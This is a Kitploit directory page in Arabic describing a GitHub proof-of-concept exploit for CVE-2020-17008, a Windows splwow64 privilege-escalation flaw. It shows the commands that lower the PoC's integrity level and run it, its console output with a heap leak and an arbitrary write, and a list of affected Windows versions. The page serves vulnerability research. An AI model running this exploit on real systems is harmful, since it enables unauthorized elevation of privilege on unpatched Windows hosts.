Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-17008 — CVE-2020-17008 splWOW64 تصعيد الامتياز | Kitploit
أدوات/GitHubGitHub/jas502n/cve-2020-17008
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال الملفات الثنائية
GitHubjas502n/cve-2020-17008

CVE-2020-17008

CVE-2020-17008 splWOW64 تصعيد الامتياز

عرض المستودع
467منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2020-17008 splWOW64 Elevation of Privilege

C:\Windows\splwow64.exe

Poc From:

https://bugs.chromium.org/p/project-zero/issues/detail?id=2096

0x01 تعيين splwow64_poc.exe Low

cd splwow64_poc\x64\Release

icacls splwow64_poc.exe /setintegritylevel L

root@kitploit:~
 /setintegritylevel [(CI)(OI)]级别将完整性 ACE 显式
        添加到所有匹配文件。要指定的级别为以下级别
        之一:
             L[ow]
             M[edium]
             H[igh]
        完整性 ACE 的继承选项可以优先于级别，但只应用于
        目录。

0x02 تشغيل splwow64_poc.exe

root@kitploit:~
splwow64_poc\x64\Release>splwow64_poc.exe

Start
ntdll = 0x7FF837980000
Init done
C:\Users\pwned\Desktop\splwow64_poc\x64\Release
C:\Users\pwned\Desktop\splwow64_poc\x64\Release\CreateDC.exe
Now's the time to hook up the debugger to splwow64.exe if you want to. Press [Enter] to continue . . .
Get port name
name: \RPC Control\UmpdProxy_2_bea57_0_2000
Create port.
Prepare 0x6A Message - OpenPrinter
PtrMsgReply: 0x0000000000AB0140
ClientView: 0x0000027F390B0000/0x0000000000AB0000, 0x0000027F390B0100: Microsoft XPS Document Writer
Writing message 0x6A success!
Cookie: 0x0
Preparing 0x6D message (to leak heap address) - DocumentEvent
Output: 0x0000000000000000, Heap Address: 0xFFFFFFFFFFFFFFC0
Preparing 0x6D message (write to 0x41414141) - DocumentEvent
Done

الإصدارات المتأثرة

root@kitploit:~
Windows 10 الإصدار 1607 (للأنظمة المستندة إلى x64)
Windows 10 الإصدار 1607 للأنظمة 32-bit
Windows 10 (للأنظمة المستندة إلى x64)
Windows 10 (للأنظمة 32-bit)
Windows 10 الإصدار 1709 (للأنظمة المستندة إلى ARM64)
Windows 10 الإصدار 1709 (للأنظمة المستندة إلى x64)
Windows 10 الإصدار 1709 للأنظمة 32-bit
Windows 10 الإصدار 1809 (للأنظمة المستندة إلى ARM64)
Windows 10 الإصدار 1809 (للأنظمة المستندة إلى x64)
Windows 10 الإصدار 1809 للأنظمة 32-bit

Windows Server الإصدار 1803 (تثبيت Server Core)
Windows 10 الإصدار 1803 (للأنظمة المستندة إلى ARM64)
Windows 10 الإصدار 1803 (للأنظمة المستندة إلى x64)
Windows 10 الإصدار 1803 للأنظمة 32-bit

Windows Server الإصدار 1903 (تثبيت Server Core)
Windows 10 الإصدار 1903 (للأنظمة المستندة إلى ARM64)
Windows 10 الإصدار 1903 (للأنظمة المستندة إلى x64)
Windows 10 الإصدار 1903 للأنظمة 32-bit

Windows Server الإصدار 1909 (تثبيت Server Core)
Windows 10 الإصدار 1909 (للأنظمة المستندة إلى ARM64)
Windows 10 الإصدار 1909 (للأنظمة المستندة إلى x64)
Windows 10 الإصدار 1909 للأنظمة 32-bit

Windows Server الإصدار 2004 (تثبيت Server Core)
Windows 10 الإصدار 2004 (للأنظمة المستندة إلى x64)
Windows 10 الإصدار 2004 (للأنظمة المستندة إلى ARM64)
Windows 10 الإصدار 2004 للأنظمة 32-bit

Windows Server 2016 (تثبيت Server Core)
Windows Server 2016

Windows Server 2019 (تثبيت Server Core)
Windows Server 2019

Windows Server 2012
Windows Server 2012 R2 (تثبيت Server Core)
Windows Server 2012 R2
Windows Server 2012 (تثبيت Server Core)

Windows RT 8.1
Windows 8.1 (للأنظمة المستندة إلى x64)
Windows 8.1 للأنظمة 32-bit
تنزيل الأداة